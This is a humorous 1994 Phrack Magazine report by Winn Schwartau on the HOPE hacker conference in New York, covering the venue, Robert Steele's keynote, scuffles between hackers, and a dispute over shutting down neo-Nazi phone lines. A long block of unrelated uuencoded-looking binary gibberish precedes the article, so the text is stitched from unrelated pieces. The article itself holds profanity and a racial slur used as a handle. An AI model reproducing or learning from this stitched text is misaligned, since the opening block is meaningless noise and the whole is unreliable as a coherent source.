M7"2L"&9849CZ?P_7^50HMO0=TEJ3)J‑S+N^RZ/*=O4SD1_IR:BNI+U(6DO;R+

MVLT`Z0Q9/X$_X5:BD[/45^QST\?]NSB‑7=HL_P"LGD/Z+_@*NPW.GZ'&;73K` M62ZO<_>*<"NG5KE1&VIQ4N8U+L"RYQ_A4<VFP:G"R,,''!`R0:2ERZHAJ^C.0 M<U'P[=V`+A?‑B'\2CI]169C%=<9J2NCFE%Q=F'2CI5$B=*.E`!TI5^N*!G2>T M!E8WMXHX)LWY^A4_TK!N1B8D\5E'XV6_A("<FC&*U,PQBC%`"A33XK>29PD:] M,[L<!5&2:‑AI&YIW@35[X_‑"+=1U\TX/Y=?SKJM'^'FEV:"2_62Z<=BV%'X#9 M^IK@KXNWNT]SKI8:^LCH;6,&W:+2[1D2/^&%0J@_RJS;:;?W+JES=);@XPF[7 M+‑_+^M<.VLMSK]#<LM"M["3SFQ(%'(*[B?Y_RJ^;6&ZD`M7BCD//^IYQZ=OS`

M%9.=W<=C2.D*^W*J%/!!SS52\\'64@SM:,$X*H#@5"FXO0;C<SYOAT73‑I=%6 M`<X#K_7_`.M7‑:UH=W%XEM+&#+S6]FVYEP/X@,_K732JJ6YE.‑K%6;3]7MYFO M!AF`'))4D8]>:9X<O[&'49X[S=<1+</OBC?;)TX8#/K^>*VT:T)‑R>ZTBUG9> MK2[E>V&#F=!&R_D3FJ[ZGH]N2T+?;7G`"I&/,<'/;;QG\<^U1&$Y/W4‑M16I# M6N‑0O+@>3;:)>X0X_P!*81;?PZFH;?2M8=MT]W%:`G`6*,.?S;I^5:)1AH]25 M+M[%V'0;6XQ+/=2WDBG.V=R1GZ=*T1+:Z:WEI;A.,8A'']*ER<M‑BDDM3,U#Z MQD8W:UL8S+,<9PW`‑5?[/‑PR:AK=V7`^["&P/I@5K%<BOU(>IKV=A/J*[;:(` M6%IWV)AG]N:UK32K:PA*VT2QL/O‑CEOSI.5M"DCS];13&"P4K],FFM:J4'E`H M+]:CF$5)2Z2E20<#FJ=UH.GWRN'MUC.<[HP`U:1FXZQ)<5+1G‑:SX;?2HA.LW MRR0L<+D885DXQ7=3GSQN<DX\KL(%Q28Q^%:$ABCI0(ZCX<%?[<F$BED^QS<9! M]JY^[3‑TRCU(_6LE\;‑/LE?%+MQ6I`H2M/P]X<N/$>H+96LD22$9!D)`_0&HI MG‑0BY/H5&/,[(]"T[X*V]JOF7]Z;E@`VQ`44#N,]3^E:]EI%IHY,5K;PQ``@Z ME%P3CU/?\:\6IBY5[I:(]*G05+5[EW2=‑DUI1)'Y<49X4]\^XQ_6M.#P=;&`2 M,[F5F!YD&1U].E9.7)H:;EL‑!80^0(L%!DE>GX"JXG\R42/PZ'<K@9P/3%3JN M%C:M‑‑C+1W3;MTK!"=YP<G'W>@JY>:8Z,0\D1A&!L\O)_P"^L^WI67‑<NUBM$ M'>R:/"QPC!FXPO3_`#ZU9MKZ6[C+2A#&5(V[3_CC'M1YA8U‑‑B46J81(U!X\K MM=OOTKB&O?L?C_4I\9:*R"+Q_>D_^M6E)[D3Z',ZY\44:Z:T^S22.'PRE51'5 M]B1DXK.?1;_4IVNE:TL$N'WD0;F)/OG`_2NR%)4DG+J92GSNR+</P_T_R7N)R

M&DN"G)\PXS]`.*T‑)GN‑`9K?3I3;IC+*G"G/MTJW5<U8CD4=2U<:C>74D:7#H MK(X)P>GZXS21#SXRH[#O_P#6J‑$AD<]Q%&LJE&4JI+$'/OQ6`+J;6IVAMI&MU MH1P3N)8CG_"M81ZLENVA;C%OIT0BL80LAX,DG))]:W=%\*0PD7%XPN93R`?NV DK]*<IN*OU81C<WEB"384D*!G;U%.GA<%2K#!)SG\JQB:`/_9Z

``

end

Cyber Christ Bites the Big Apple

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 23 of 28

****************************************

Cyber Christ Bites The Big Apple HOPE ‑ Hackers On Planet Earth, New York City ‑ August 13‑14, 1994 (C) 1994 Winn Schwartau by Winn Schwartau

(This is Part II of the ongoing Cyber Christ series. Part I, "Cyber Christ Meets Lady Luck" DefCon II, Las Vegas, July 22‑24, 1994 is available all over the 'Net.)

Las Vegas is a miserable place, and with a nasty cold no less; it took me three weeks of inhaling salt water and sand at the beach to finally dry up the post nasal drip after my jaunt to DefCon II. My ears returned to normal so that I no longer had to answer every question with an old Jewish man's "Eh?" while fondling my lobes for better reception.

New York had to be better.

Emmanuel Goldstein ‑aka Eric Corely ‑ or is it the other way around? is the host of HOPE, Hackers on Planet Earth, a celebra tion of his successfully publishing 2600 ‑ The Hackers Quarterly for ten years without getting jailed, shot or worse. For as Congressman Ed Markey said to Eric/Emmanuel in a Congressional hearing last year, and I paraphrase, 2600 is no more than a handbook for hacking (comparable obviously to a terrorist hand book for blowing up the World Trade Center) for which Eric/Emman uel should be properly vilified, countenanced and then drawn and quartered on Letterman's Stupid Pet Tricks.

Ed and Eric/Emmanuel obviously have little room for negotiation and I frankly enjoyed watching their Congressional movie where communication was at a virtual standstill: and neither side understood the viewpoints or positions of the other.

But Ed is from Baaahhhsten, and Eric/Emmanuel is from New York, and HOPE will take place in the Hotel Filthadelphia, straight across the street from Pennsylvania Station in beautiful downtown fast‑food‑before‑they‑mug‑you 34th street, right around the corner from clean‑the‑streets‑its‑Thanksgiving Herald Square. Geography notwithstanding, HOPE promised to be a more iconoclas tic gathering than that of DefCon II.

First off, to set the record straight, I am a New Yorker. No matter that I escaped in 1981 for the sunny beaches of California for 7 years, and then moved to the Great State of the Legally Stupid for four more (Tennessee); no matter that I now live on the Gulf Coast of Florida where the water temperature never dips below a chilly 98 degrees; I am and always will be a New Yorker.

It took me the better part of a decade of living away from New York to come to that undeniable and inescapable conclusion: Once a New Yorker, always a New Yorker. Not that that makes my wife any the happier.

"You are so rude. You love to argue. Confrontation is your middle name." Yeah, so what's your point?

You see, for a true New Yorker these aren't insults to be reregurgitated at the mental moron who attempts to combat us in a battle of wits yet enters the ring unarmed; these are mere tru isms as seen by someone who views the world in black and white, not black, white and New York.

Case in point.

I used to commute into Manhattan from the Westchester County suburb of Ossining where I lived 47 feet from the walls of Sing Sing prison (no shit!). Overlooking the wide expanse of the Hudson River from my aerie several hundred feet above, the only disquieting aspect of that location were the enormously deafening thunderclaps which resounded a hundred and one times between the cliffs on either side of the river. Then there was the occasion al escapee‑alarm from the prison. .

So, it was my daily New York regimen to take the 8:15 into the city. If the train's on time I'll get to work by nine . . .

Grand Central Station ‑ the grand old landmark thankfully saved by the late Jackie O. ‑ is the nexus for a few hundred million commuters who congregate in New York Shitty for no other reason that to collect a paycheck to afford blood pressure medicine.

You have to understand that New York is different. Imagine, picture in your mind: nothing is so endearing as to watch thou sands of briefcase carrying suits scrambling like ants in a Gary Larson cartoon for the nearest taxi, all the while greeting their neighbors with the prototypical New York G'day!

With both fists high in the air, middle fingers locked into erect prominence, a cacophonous chorus of "Good Fucking Morning" brightens the day of a true New Yorker. His bloodshot eyes instantly clear, the blood pressure sinks by 50% and already the first conflict of the day has been waged and won.

Welcome to the Big Apple, and remember never, ever, to say, "Have a Nice Day." Oh, no. Never.

So HOPE was bound to be radically different from Vegas's DefCon II, if only for the setting. But, I expected hard core. The European contingent will be there, as will Israel and South America and even the Far East. All told, I am told, 1000 or more are expected. And again, as at DefCon II, I am to speak, but Eric/Emmanuel never told me about what, when, or any of the other niceties that go along with this thing we call a schedule.

* * * * *

God, I hate rushing.

Leaving Vienna at 3:15 for a 4PM Amtrak "put your life in their hands" three hour trip to New York is not for the faint of heart. My rented Hyundai four cylinder limousine wound up like a sewing machine to 9,600 RPM and hydroplaned the bone dry route 66 into the pot holed, traffic hell of Friday afternoon Washington, DC. Twelve minutes to spare.

I made the 23 mile trip is something less than three minutes and bounded into the Budget rental return, decelerated to impulse power and let my brick and lead filled suitcase drop to the pavement with a dent and a thud. "Send me the bill," I hollered at the attendant. Never mind that Budget doesn't offer express service like real car rental companies. "Just send me the bill!" and I was off.

Eight minute to spare. Schlepp, schlepp. Heavy, heavy.

Holy shit! Look at the line for tickets and I had reservations.

"Is this the line for the four o'clock to New York?" Pant, breathless.

"Yeah." She never looked up.

"Will they hold the train?"

"No." A resoundingly rude no at that. Panic gene takes over.

"What about the self‑ticketing computer?" I said pointing at the self ticketing computer.

"Do you have a reservation?"

"Yup." Maybe there is a God.

"Won't help you."

"What?"

Nothing.

"What do you mean won't help?"

"Computer's broken." Criminy! I have 4 minutes and here's this over‑paid over‑attituded Amtrak employee who thinks she's the echo of Whoopi Goldberg. "The line's over there."

Have you ever begged? I mean really begged? Well I have.

"Are you waiting for the four?" "Can I slip ahead?" "Are you in a death defying hurry?" "I'll give you a dime for your spot in line." "You are so pretty for 76, ma'am. Can I sneak ahead?"

Tears work. Two excruciating minutes to go. I bounced ahead of everyone in a line the length of the Great Wall of China, got my tickets and tore ass through Union Station The closing gate missed me but caught the suitcase costing me yet more time as I attempted to disgorge my now‑shattered valise from the fork‑liftlike spikes which protect the trains from late‑coming commuters. The rubber edged doors on the train itself were kinder and gen tler, but at this point, screw it. It was Evian and Fritos for the next three hours.

* * * * *

Promises tend to be lies. The check is in the mail; Dan Quayle will learn to spell; I won't raise taxes. I wonder about HOPE.

"It's going to be Bust Central," said one prominent hacker who threatened me with electronic assassination if I used his name. "Emmanuel will kill me." Apparently the authorities‑who‑be are going to be there in force. "They want to see if Corrupt or any of the MoD crew stay after dark, then Zap! Back to jail. (gig gle, giggle.) I want to see that."

Will Mitnick show up? I'd like to talk to that boy. A thousand hackers in one place and Eric/Emmanuel egging on the Feds to do something stupid. Agent Steal will be there, or registered at least, and half of the folks I know going are using aliases.

"I'd like a room please."

"Yessir. Name?"

"Monkey Meat."

"Is that your first or last name?"

"First."

"Last name?"

"Dilithium Crystal."

"Could you spell that?"

Now: I know the Hotel Pennsylvania. It used to be the high class Statler Hilton until Mr. Hilton himself decided that the place was beyond hope. "Sell it or scuttle it." They sold and thus begat the hotel Filthadelphia. I stayed here once in 1989 and it was a cesspool then. I wondered why the Farsi‑fluent bellhop wouldn't tell me how bad the damage was from the fire bombed 12th floor. The carpets were the same dingy, once upon a time colorful, drab as I remembered. And, I always have a bit of trouble with a hotel who puts a security check by the elevator bank. Gives you the warm and fuzzies that make you want to come back right away.

I saved $2 because none of the bell hops noticed I needed help, but then again, it wouldn't have mattered for there was no way he and I and my luggage were going to fit inside of what the hotel euphemistically refers to as a 'room'. Closet would be kind but still inaccurate. I think the word, ah, '$95 a night slum' might still be overly generous. Let's try . . . ah ha! the room that almost survived the fire bombing. Yeah, that's the ticket.

The walls were pealing. Long strips of yellowed antique wall paper embellished the flatness of the walls as they curled to wards the floor and windows. The chunks of dried glue decorated the pastel gray with texture and the water stains from I know not where slithered their way to the soggy carpet in fractal pat terned rivulets. I stood in awe at early funk motif that the Hotel Filthadelphia chose in honor of my attendance at HOPE. But, no matter how bad my room was, at least it was bachelor clean. (Ask your significant other what that means. . .)

In one hacker's room no bigger than mine I counted 13 sleeping bags lying amongst the growing mold at the intersection of the drenched wallboard and putrefying carpet shreds. (God, I love going to hacker conferences! It's not that I like Hyatt's and Hilton' all that much: I do prefer the smaller facilities, but, I am sad to admit, clean counts at my age.). My nose did not have to venture towards the floor to be aware that the Hotel Filtha delphia was engaging in top secret exobiological government experiments bent on determining their communicability and infec tion factor.

The top floor of the Hotel Filthadelphia ‑ the 18th ‑ was the place for HOPE, except the elevator door wouldn't open. The inner door did, but even with the combined strength of my person al crowbar (a New York defensive measure only; I never use it at home) and three roughians with a bad case of Mexican Claustropho bia, we never got the door open.

The guard in the lobby was a big help.

"Try again."

Damned if he didn't know his elevators and I emerged into the pre‑HOPE chaos of preparing for a conference.

About 100 hackers lounged around in varying forms of disarray ‑ Hey Rop!

Rop Gongrijjp editor of the Dutch Hacktic is a both a friend and an occasional source of stimulating argument. Smart as a whip, I don't always agree with him, though, the above‑ground security types ought to talk to him for a clear, concise and coherent description of the whys and wherefores of hacking.

Hey Emmanuel! Hey Strat! Hey Garbage Heap! Hey Erikb! Hey to lots of folks. Is that you Supernigger? And Julio? I was sur prised. I knew a lot more of these guys that I thought I did. Some indicted, some unindicted, some mere sympathizers and other techno‑freaks who enjoy a weekend with other techno‑freaks. Security dudes ‑ get hip! Contact your local hacker and make friends. You'll be glad you did.

>From behind ‑ got me. My adrenaline went into super‑saturated mode as I was grabbed. I turned and it was . . . Ben. Ben is a hugger. "I just wanted to hug you," he said sweetly but without the humorous sexually deviant connotation that occurred during Novocain's offer to let Phil Zimmerman sleep with him in Las Vegas.

I smiled a crooked smile. "Yeah, right." Woodstock '94 was a mere 120 miles away . . .maybe there was a psychic connection. But Ben was being sincere. He was hugging everyone. Everyone. At 17, he really believes that hugging and hacking are next to Godliness. Boy does he have surprise coming the first time his mortgage is late. Keep hugging while you have the chance, Ben.

Assorted cases of Zima (the disgusting Polish is‑this‑really‑lime flavored beer of choice by those without taste buds) appeared, but anyone over the age of 21 drank Bud. What about the 12 year olds drinking? And the 18 year olds? And the 16 year olds?

"Rop, I don't think you need to give the hotel an excuse to bust you guys outta here." Me, fatherly and responsible? Stranger things have happened. The beer was gone. I'm not a teetotaler, but I didn't want my weekend going up in flames because of some trashed 16 year old puking on an Irani ambassador in the lobby. No reason to test fate.

* * * * *

Nothing worked, but that's normal.

Rop had set up HEU (Hacking at the End of the Universe) in Holland last year with a single length of 800m ethernet. (That's meter for the Americans: about 2625 ft.) HOPE, though was dif ferent. The Hotel Filthadelphia's switchboard and phone systems crashed every half hour or so which doesn't do a lot for the health of 28.8 slip lines.

The object of the exercise was seemingly simple: plug together about 20 terminals into a terminal server connected to Hope.Com and let 'em go at it. Provide 'net access and, to the lucky winner of the crack‑the‑hopenet server (root) the keys to a 1994 Corvette!

You heard it right! For breaking into root of their allegedly secure server, the folks at 2600 are giving away keys to a 1994 Corvette. They don't know where the car is, just the keys. But they will give you the car's last known location . . . or was it $50 in cash?

Erikb ‑ Chris Goggans ‑ showed up late Friday night in disguise: a baseball cap over his nearly waist length dirty blond hair. "He's here!" one could hear being muttered. "He had the balls to show up!" "He's gonna get his ass kicked to a pulp." "So you did come . . . I was afraid they'd intimidated you to stay in Texas."

No way! "Why tell the enemy what your plans are." Even the 50'ssomething ex‑amphetamine‑dealer turned reseller of public‑records Bootleg didn't know Goggans was going to be there. But the multiple fans of Erikb, (a strong resemblance to Cyber Christ if he do say so himself) were a‑mighty proud to see him.

This stunning Asian girl with skin too soft to touch (maybe she was 14, maybe she was 25) looked at Erikb by the message board. "You're," she pointed in disbelief "Erikb?" Chris nods, getting arrogantly used to the respectful adulation. Yeah, that's me, to which the lady/girl/woman instantly replied, "You're such an asshole." Smile, wide smile, hug, kiss, big kiss. Erikb revels in the attention and hundreds of horny hackers jealously look on.

Friday night was more of an experience ‑ a Baba Ram Dass‑like Be Here Now experience ‑ with mellow being the operative word. The hotel had apparently sacrificed 20,000 square feet of its pent house to hackers, but it was obvious to see they really didn't give a damn if the whole floor got trashed. Ceiling panels dripped from their 12 foot lofts making a scorched Shuttle under belly look pristine. What a cesspool! I swear nothing had been done to the decorative environs since the day Kennedy was shot. But kudos to Emmanuel for finding a centrally located cesspool that undoubtedly gave him one hell of a deal. I think it would be a big mistake to hold a hacker conference at the Plaza or some such snooty overly‑self‑indulgent denizen of the rich.

Filth sort of lends credibility to an event that otherwise seeks notoriety.

I didn't want to take up too much of Emmanuel's and Rop's time ‑ they were in setup panic ‑ so it was off to the netherworld until noon. That's when a civilized Con begins.

* * * * *

I dared to go outside; it was about 11AM and I was in search of the perfect New York breakfast: a greasy spoon that serves coffee as tough as tree bark and a catatonia inducing egg and bacon sandwich. Munch, munch, munch on that coffee.

I'd forgotten how many beggars hang out on the corner of 33rd and 7th, all armed with the same words, "how about a handout, Winn?" How the hell do they know my name? "Whatever you give will come back to you double and triple . . . please man, I gotta eat." It is sad, but John Paul Getty I ain't.

As I munched on my coffee and sipped my runny egg‑sandwich I noticed that right in front of the runny‑egg‑sandwich place sat a Ford Econoline van. Nice van. Nice phone company van. What are they doing here? Oh, yeah, the hackers need lines and the switch board is down. Of course, the phone company is here. But, what's that? Hello? A Hacker playing in the phone van? I recog nize you! You work with Emmanuel. How? He's robbing it. Not robbing, maybe borrowing.

The ersatz telephone van could have fooled anyone ‑ even me, a color blind quasi‑techno‑weanie to yell "Yo! Ma Bell!" But, upon not‑too‑closer inspection, the TPC (The Phone Company) van was in fact a 2600 van ‑ straight from the minds of Emmanuel and friends. Impeccable! The telephone bell in a circle logo is, in this case, connected via cable to a hacker at a keyboard. The commercial plates add an additional air of respectability to the whole image. It works.

* * * * *

Up to HOPE ‑ egg sandwich and all.

The keynote speech was to be provided courtesy of the Man in Blue. Scheduled for noon, things were getting off to a late start. The media (who were there in droves, eat your heart out CSI) converged on the MIB to see who and why someone of his stature would (gasp!) appear/speak at a funky‑downtown hotel filled with the scourges of Cyberspace. I didn't see if Ben hugged the MIB, but I would understand if he didn't. Few people knew him or suspected what size of Jim‑Carey‑MASK arsenal might suddenly appear if a passive hug were accidentally interpreted as being too aggressive. The MIB is imposing and Ben too shy.

The media can ask some dumb questions and write some dumb arti cles because they spend 12 1/2 minutes trying to understand an entire culture. Can't do that fellows!

The MIB, though, knows hackers and is learning about them more and more; and since he is respectable, the media asks him about hackers. What are hackers? Why are YOU here, Mr. MIB?

"Because they have a lot to offer. They are the future," the Man In Blue said over and over. Interview after interview ‑ how time flies when you're having fun ‑ and the lights and cameras are rolling from NBC and PIX and CNN and assorted other channels and magazines. At 12:55 chaos had not settled down to regimented disorganization and the MIB was getting antsy. After all, he was a military man and 55 minutes off schedule: Egad! Take charge.

The MIB stood on a chair and hollered to the 700+ hacker phreaks in the demonstration ballroom, "Hey! It's starting. Let's go the theater and get rocking! Follow me." He leaned over to me: "Do you know where the room is?"

"Sure, follow me."

"Everyone follow, c'mon," yelled the MIB. "I'm going to get started in exactly three minutes," and three minutes he meant. Despite the fact that I got lost in a hallway and had hundreds of followers following my missteps and the MIB yelling at me for getting lost in a room with only two doors, we did make the main hall, and within 90 seconds he took over the podium and began speaking.

"I bet you've always wanted to ask a spy a few questions. Here's your chance. But let me say that the United States intelligence community needs help and you guys are part of the solution." The MIB was impeccably dressed in his pin stripe with only traces of a Hackers 80 T‑shirt leaking through his starched white dress shirt. The MIB is no less than Robert Steele, ex‑CIA type spy, senior civilian in Marine Corps Intelligence and now the Presi dent of Open Source Solutions, Inc.

He got these guys (and gals) going. Robert doesn't mince words and that's why as he puts it, he's "been adopted by the hackers." At his OSS conferences he has successfully juxtaposed hackers and senior KGB officials who needed full time security during their specially arranged 48 hour visa to Washington, DC. He brought Emmanuel and Rop and clan to his show and since their agendas aren't all that different, a camaraderie was formed.

Robert MIB Steele believes that the current intelligence machin ery is inadequate to meet the challenges of today's world. Over 80% of the classified information contained with the Byzantine bowels of the government is actually available from open sources. We need to realize that the future is more of an open book than ever before.

We classify newspaper articles from Peru in the incredibly naive belief that only Pentagon spooks subscribe. We classify BBC video tapes from the UK with the inane belief that no one will watch it if it so stamped. We classify $4 Billion National Reconnaissance Office satellite generated street maps of Calle, Colombia when anyone with an IQ only slightly above a rock can get the same one from the tourist office. And that's where hackers come in.

"You guys are a national resource. Too bad everyone's so scared of you." Applause from everywhere. The MIB knows how to massage a crowd. Hackers, according to Steele, and to a certain extent I agree, are the truth tellers "in a constellation of complex systems run amok and on the verge of catastrophic collapse."

Hackers are the greatest sources of open source information in the world. They have the navigation skills, they have the time, and they have the motivation, Robert says. Hackers peruse the edges of technology and there is little that will stop them in their efforts. The intelligence community should take advantage of the skills and lessons that the hackers have to teach us, yet as we all know, political and social oppositions keep both sides (who are really more similar then dissimilar) from talking.

"Hackers put a mirror up to the technical designers who have built the networks, and what they see, they don't like. Hackers have shown us all the chinks in the armor of a house without doors or windows. The information infrastructure is fragile and we had better do something about it now; before it's too late."

Beat them at their own game, suggests Steele. Keep the doors of Cyberspace open, and sooner or later, the denizens of the black holes of information will have to sooner or late realize that the cat is out of the bag.

Steele educated the Hacker crowd in a way new to them: he treat ed them with respect, and in turn he opened a channel of dialog that few above ground suit‑types have ever envisioned. Steele works at the source.

HOPE had begun and Robert had set the tone.

* * * * *

The day was long. Dogged by press, hackers rolled over so the reporters could tickle their stomachs on camera. Despite their public allegations that the media screws it up and never can get the story right, a camera is like a magnet. The New York Times printed an article about HOPE so off the wall I wondered if the reporter had actually been there. Nonetheless, the crowds fol lowed the cameras, the cameras followed the crowds, and the crowds parted like the Red Sea. But these were mighty colorful crowds.

We all hear of that prototypical image of the acne faced, Joltdrinking, pepperoni downing nerdish teenager who has himself locked in the un‑air‑conditioned attic of his parents' half million dollar house from the time school gets out till the sun rises. Wrongo security‑breath. Yeah, there's that component, but I was reminded of the '80's, the early '80's by a large percent age of the crowd.

Purple hair was present but scarce, and I swear on a stack of 2600's that Pat from Saturday Night Live was there putting every one's hormonal guess‑machines to the test. But what cannot help but capture one's attention is a 40 pin integrated circuit in serted into the shaved side skull of an otherwise clean‑cut Mohawk haircut.

The story goes that Chip Head went to a doctor and had a pair of small incisions placed in his skull which would hold the leads from the chip. A little dab of glue and in a few days the skin would grow back to hold the 40 pins in the natural way; God's way.

There was a time that I thought ponytails were 'out' and passe, but I thought wrong. Mine got chopped off in roughly 1976 down to shoulder length which remained for another six years, but half of the HOPE audience is the reason for wide spread poverty in the hair salon industry.

Nothing wrong with long, styled, inventive, outrageous hair as long as it's clean; and with barely an exception, such was the case. In New York it's not too hard to be perceived as clean, especially when you consider the frame of reference. Nothing is too weird.

The energy level of HOPE was much higher than the almost lethar gic (but good!) DefCon II. People move in a great hurry, perhaps to convey the sense of importance to others, or just out of frenetic hyperactivity. Hackers hunched over their keyboards ‑ yet with a sense of urgency and purpose. Quiet yet highly animat ed conversations in all corners. HOPE staff endlessly pacing throughout the event with their walkie‑talkies glued to their ears.

Not many suit types. A handful at best, and what about the Feds? I was accosted a few times for being a Fed, but word spread: no Fed, no bust. Where were the Feds? In the lobby. The typical NYPD cop has the distinctive reputation of being overweight especially when he wearing two holsters ‑ one for the gun and one for the Italian sausage. Perpetually portrayed as donut dunking dodo's, some New York cops' asses are referred to as the Fourth Precinct and a few actually moonlight as sofas.

So rather than make a stink, (NY cops hate to make a scene) the lobby of the Hotel Filthadelphia was home to the Coffee Clutch for Cops. About a half dozen of them made their profound presence known by merely spending their day consuming mass quan tities of questionable ingestibles, but that was infinitely preferable to hanging out on the 18th floor. The hackers weren't causing any trouble, the cops knew that, so why push it. Hackers don't fight, they hack. Right?

After hours of running hours behind schedule, the HOPE conference was in first place for disorganized, with DefCon II not far behind. Only with 1000 people to keep happy and in the right rooms, chaos reigns sooner. The free Unix sessions and Pager session and open microphone bitch session and the unadulterated true history of 2600 kept audiences of several hundred hankering for more ‑ hour after hour.

Over by the cellular hacking demonstrations, I ran into a hacker I had written about: Julio, from the almost defunct Masters of Destruction. Julio had gone state's evidence and was prepared to testify against MoD ring leader Mark Abene (aka Phiber Optik) but once Mark pled guilty to enough crimes to satisfy the Feds, Julio was off the hook with mere probation. Good guy, sworn off of hacking. Cell phones are so much more interesting.

However, while standing around with Erikb and a gaggle of Cyber Christ wanna‑bes, Julio and his friend (who was the size of Texas on two legs) began a pushing match with Goggans. "You fucking narc red‑neck son of a bitch." Goggans helped build the case against the MoD and didn't make a lot of friends in the process.

The shoving and shouldering reminded me of slam dancing from decades past, but these kids are too young to have taken part in the social niceties of deranged high speed propulsion and revul sion on the dance floor. So it was a straight out pushing match, which found Erikb doing his bloody best to avoid. Julio and pal kept a'coming and Erikb kept avoiding. It took a dozen of us to get in the middle and see that Julio was escorted to the eleva tors.

Julio said Corrupt, also of the MoD, was coming down to HOPE, too. Corrupt has been accused of mugging drug dealers to finance his computer escapades, and was busted along with the rest of the MoD gang. The implied threat was taken seriously, but, for whatever reason, Corrupt never showed. It is said that the majority of the hacking community distances itself from him; he's not good for the collective reputation. So much for hacker fights. All is calm.

The evening sessions continued and continued with estimates of as late as 4AM being bandied about. Somewhere around 1:00AM I ran into Bootleg in the downstairs bar. Where was everybody? Not upstairs. Not in the bar. I saw a Garbage Heap in the street outside (now that's a double entendre) and then Goggans popped up from the door of the Blarney Stone, a syndicated chain of lowclass Irish bars that serve fabulously thick hot sandwiches.

"We're about to get thrown out."

"From the Blarney Stone? That's impossible. Drunks call the phone booths home!"

Fifty or so hacker/phreaks had migrated to the least likely, most anachronistic location one could imagine. A handful of drunken sots leaning over their beers on a stain encrusted wooden breed ing ground for salmonella. A men's room that hasn't seen the fuzzy end of a brush for the best part of a century made Turkish toilets appear refreshingly clean. And they serve food here.

I didn't look like a hacker so I asked the bartender, "Big crowd, eh?"

The barrel chested beer bellied barman nonchalantly replied, "nah. Pretty usual." He cleaned a glass so thoroughly the water marks stood out plainly.

"Really? This much action on a Saturday night on a dark side street so questionably safe that Manhattan's Mugger Society posts warnings?"

"Yup."

"So," I continued. "These hackers come here a lot?"

"Sure do," he said emphatically.

"Wow. I didn't know that. So this is sort of a hacker bar, you might say?"

"Exactly. Every Saturday night they come in and raise a little hell."

With a straight face I somehow managed to thank the confused barman for his help and for the next four hours learned that socially, hackers of today are no different than many if not most of us were in our late teens ad early twenties. We laughed and joked and so do they ‑ but there is more computer talk. We decried the political status of our day as they do theirs, albeit they with less fervor and more resignation. The X‑Generation factor: most of them give little more than a tiny shit about things they view as being totally outside their control, so why bother. Live for today.

Know they enemy. Robert hung in with me intermingling and argu ing and debating and learning from them, and they from us. Hackers aren't the enemy ‑ their knowledge is ‑ and they are not the exclusive holders of that information. Information Warfare is about capabilities, and no matter who possesses that capabili ty, there ought to be a corresponding amount respect.

Indeed, rather than adversaries, hackers could well become gov ernment allies and national security assets in an intense inter national cyber‑conflict. In the LoD/MoD War of 1990‑91, one group of hackers did help authorities. Today many hackers assist professional organizations, governments in the US and overseas ‑ although very quietly. 'Can't be seen consorting with the enemy.' Is hacking from an Army or Navy or NATO base illegal? Damned if I know, but more than one Cyber Christ‑like character makes a tidy sum providing hands‑on hacking education to the brass in Europe.

Where these guys went after 5AM I don't know, but I was one of the first to be back at the HOPE conference later that day; 12:30 PM Sunday.

* * * * *

The Nazi Hunters were out in force.

"The Neo‑Nazi skinheads are trying to start another Holocaust." A piercing, almost annoying voice stabbed right through the crowds. "Their racist propaganda advocates killing Jews and blacks. They have to be stopped, now."

Mortechai Levy (I'll call him Morty) commanded the attention of a couple dozen hackers. Morty was a good, emotional, riveting shouter. "These cowardly bastards have set up vicious hate call lines in over 50 cities. The messages advocate burning syna gogues, killing minorities and other violence. These phones have to be stopped!"

The ever‑present leaflet from Morty's Jewish Defense Organization asked for help from the 2600 population.

"Phone freaks you must use your various assorted bag of tricks to shut these lines down. No cowardly sputterings about 'free speech' for these fascist scum."

The headline invited the hacker/phreak community to:

"Let's Shut Down 'Dial‑A‑Nazi'!!!"

Morty was looking for political and technical support from a band of nowhere men and women who largely don't know where they're going much less care about an organized political response to someone elses cause. He wasn't making a lot of headway, and he must have know that he would walk right into the anarchist's bible: the 1st amendment.

The battle lines had been set. Morty wanted to see the Nazis censored and hackers are absolute freedom of speechers by any measure. Even Ben sauntering over for a group hug did little to defuse the mounting tension.

I couldn't help but play mediator. Morty was belligerently loud and being deafeningly intrusive which affected the on‑going ses sions. To tone it down some, we nudged Morty and company off to the side and occupied a corner of thread bare carpet, leaning against a boorish beige wall that had lost its better epidermis.

The heated freedom of speech versus the promotion of racial genocide rancor subdued little even though we were all buns side down. I tried to get a little control of the situation.

"Morty. Answer me this so we know where you're coming from. You advocate the silencing of the Nazis, right?

"They're planning a new race war; they have to be stopped."

"So you want them silenced. You say their phones should be stopped and that the hackers should help."

"Call that number and they'll tell you that Jews and blacks should be killed and then they . . ."

"Morty. OK, you want to censor the Nazis. Yes or No."

"Yes."

"OK, I can understand that. The question really is, and I need your help here, what is the line of censorship that you advocate. Where is your line of legal versus censored?"

A few more minutes of political diatribe and then he got to the point. "Any group with a history of violence should be censored and stopped." A little imagination and suddenly the whole planet is silenced. We need a better line, please. "Hate group, Nazis, people who advocate genocide . . . they should be silenced . . . ."

"So," I analyzed. "You want to establish censorship criteria based upon subjective interpretation. Whose interpretation?" My approach brought nods of approval.

One has to admire Morty and his sheer audacity and tenacity and how much he strenuously and single‑mindedly drives his points home. He didn't have the ideal sympathetic audience, but he wouldn't give an inch. Not an inch. A little self righteousness goes a long way; boisterous extremism grows stale. It invites punitive retorts and teasing, or in counter‑culture jargon, "fucking with their heads."

Morty (perhaps for justifiable reasons) was totally inflexible and thus more prone to verbal barbing. "You're just a Jewish racist. Racism in reverse," accused one jocular but definitely lower middle class hacker with an accent thicker than all of Brooklyn.

Incoming Scuds! Look out! Morty went nuts and as they say, freedom of speech ends when my fists impacts upon your nose. Morty came dangerously close to crossing that line. Whoah, Morty, whoah. He's just fucking with your head. The calm‑down brigade did its level best to keep these two mortals at opposite ends of the room.

"You support that Neo Nazi down there; you're as bad as the rest!" Morty said. "See what I have to tolerate. I know him, we've been keeping track of him and he hangs out with the son of the Grand Wizard of Nazi Oz." The paranoid train got on the tracks.

"Do you really know the Big Poo‑bah of Hate?" I asked the hacker under assault and now under protective custody.

"Yeah," he said candidly. "He's some dick head who hates every one. Real jerk."

"So what about you said to Morty over there?"

"Just fucking with his head. He gets a little extreme." So we had in our midst the Al Sharpton of the Jewish faith. Ballsy. Since Morty takes Saturday's off by religious law, he missed the press cavalcade, but as a radical New York fixture, the media probably didn't mind too much.

I was off to sessions, Morty found new audiences as they came off the elevators, and the band played on.

* * * * *

In my humble 40‑something opinion, the best session of HOPE was the one on social engineering.

